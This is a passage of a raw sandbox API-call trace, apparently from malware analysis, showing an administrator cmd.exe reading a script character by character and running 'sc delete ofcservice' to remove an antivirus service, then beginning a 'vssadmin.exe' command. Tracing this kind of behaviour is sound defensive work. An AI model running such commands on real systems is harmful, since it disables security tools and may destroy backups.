lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="\nervice\ne\n\n\nA\"\n") returned 1 [0074.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.126] GetFileType (hFile=0xb8) returned 0x3 [0074.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.126] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.126] GetFileType (hFile=0x120) returned 0x3 [0074.126] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ofcservice\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ofcservice\n", lpUsedDefaultChar=0x0) returned 22 [0074.126] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x15, lpOverlapped=0x0) returned 1 [0074.126] GetProcessHeap () returned 0x4a0000 [0074.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0074.126] GetProcessHeap () returned 0x4a0000 [0074.126] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0074.127] GetProcessHeap () returned 0x4a0000 [0074.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0074.127] GetProcessHeap () returned 0x4a0000 [0074.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0074.127] GetProcessHeap () returned 0x4a0000 [0074.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4b6510 [0074.127] GetConsoleOutputCP () returned 0x1b5 [0074.127] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0074.127] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.128] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.128] GetProcessHeap () returned 0x4a0000 [0074.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0074.128] GetProcessHeap () returned 0x4a0000 [0074.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3c) returned 0x4baa40 [0074.128] GetProcessHeap () returned 0x4a0000 [0074.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0074.128] SetErrorMode (uMode=0x0) returned 0x1 [0074.128] SetErrorMode (uMode=0x1) returned 0x0 [0074.128] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0074.128] SetErrorMode (uMode=0x1) returned 0x1 [0074.128] GetProcessHeap () returned 0x4a0000 [0074.128] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0074.128] GetProcessHeap () returned 0x4a0000 [0074.128] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0074.128] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0074.128] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.128] GetProcessHeap () returned 0x4a0000 [0074.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0074.128] GetProcessHeap () returned 0x4a0000 [0074.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0074.128] GetProcessHeap () returned 0x4a0000 [0074.128] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0074.128] GetProcessHeap () returned 0x4a0000 [0074.129] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0074.129] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.129] GetProcessHeap () returned 0x4a0000 [0074.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0074.129] GetProcessHeap () returned 0x4a0000 [0074.129] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0074.129] GetProcessHeap () returned 0x4a0000 [0074.129] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0074.129] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.129] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.129] GetLastError () returned 0x2 [0074.129] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.129] GetLastError () returned 0x2 [0074.129] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.129] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0074.130] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0074.130] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.130] GetLastError () returned 0x2 [0074.130] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0074.130] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0074.130] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.130] GetProcessHeap () returned 0x4a0000 [0074.130] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0074.130] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.131] GetProcessHeap () returned 0x4a0000 [0074.131] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa2) returned 0x4b9180 [0074.131] GetProcessHeap () returned 0x4a0000 [0074.131] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa2 [0074.131] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ofcservice") returned 1 [0074.131] GetProcessHeap () returned 0x4a0000 [0074.131] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0074.131] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0074.131] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0074.131] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0074.131] GetProcessHeap () returned 0x4a0000 [0074.131] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0074.131] GetProcessHeap () returned 0x4a0000 [0074.131] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0074.131] GetProcessHeap () returned 0x4a0000 [0074.131] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0074.131] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ofcservice", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ofcservice", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete ofcservice", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x60c, dwThreadId=0xb48)) returned 1 [0074.135] CloseHandle (hObject=0x54) returned 1 [0074.135] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.135] GetProcessHeap () returned 0x4a0000 [0074.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0074.135] GetEnvironmentStringsW () returned 0x4c1b10* [0074.135] GetProcessHeap () returned 0x4a0000 [0074.135] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0074.135] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0074.135] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0074.135] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd9000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0074.135] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0074.186] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0074.187] CloseHandle (hObject=0x50) returned 1 [0074.187] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0074.187] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0074.187] GetProcessHeap () returned 0x4a0000 [0074.187] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0074.187] GetEnvironmentStringsW () returned 0x4c1b10* [0074.187] GetProcessHeap () returned 0x4a0000 [0074.187] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0074.187] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0074.187] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0074.187] GetProcessHeap () returned 0x4a0000 [0074.187] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0074.187] GetEnvironmentStringsW () returned 0x4c1b10* [0074.187] GetProcessHeap () returned 0x4a0000 [0074.187] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0074.187] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0074.187] GetProcessHeap () returned 0x4a0000 [0074.187] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0074.187] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0074.187] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0074.188] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.188] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0074.188] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.188] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0074.188] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.188] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0074.188] GetConsoleOutputCP () returned 0x1b5 [0074.189] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0074.189] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.189] GetProcessHeap () returned 0x4a0000 [0074.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0074.189] GetProcessHeap () returned 0x4a0000 [0074.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0074.189] GetProcessHeap () returned 0x4a0000 [0074.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0074.189] GetProcessHeap () returned 0x4a0000 [0074.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0074.189] GetProcessHeap () returned 0x4a0000 [0074.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0074.189] GetProcessHeap () returned 0x4a0000 [0074.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0074.189] GetProcessHeap () returned 0x4a0000 [0074.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0074.189] GetProcessHeap () returned 0x4a0000 [0074.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0074.190] GetProcessHeap () returned 0x4a0000 [0074.190] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0074.190] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0074.190] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.190] GetFileType (hFile=0x120) returned 0x3 [0074.190] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0074.190] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0074.190] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0074.190] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0074.190] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0074.190] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0074.190] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.190] GetFileType (hFile=0x120) returned 0x3 [0074.190] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0074.190] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0074.190] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.190] GetFileType (hFile=0xb8) returned 0x3 [0074.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.191] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="vc delete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.191] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="s delete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.191] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr="sdelete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.191] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="aelete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.191] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="dlete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.192] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.192] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.192] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="mete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.192] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.192] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.192] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ite ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.192] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.192] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.192] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="ne ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.192] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.192] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.192] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr=". ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.192] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.192] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.192] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr="eofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.193] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.193] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.193] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="xfcservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.193] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.193] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.193] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="ecservice\nervice\ne\n\n\nA\"\n") returned 1 [0074.193] _get_osfhandle (_FileHandle=0) returned 0xb8 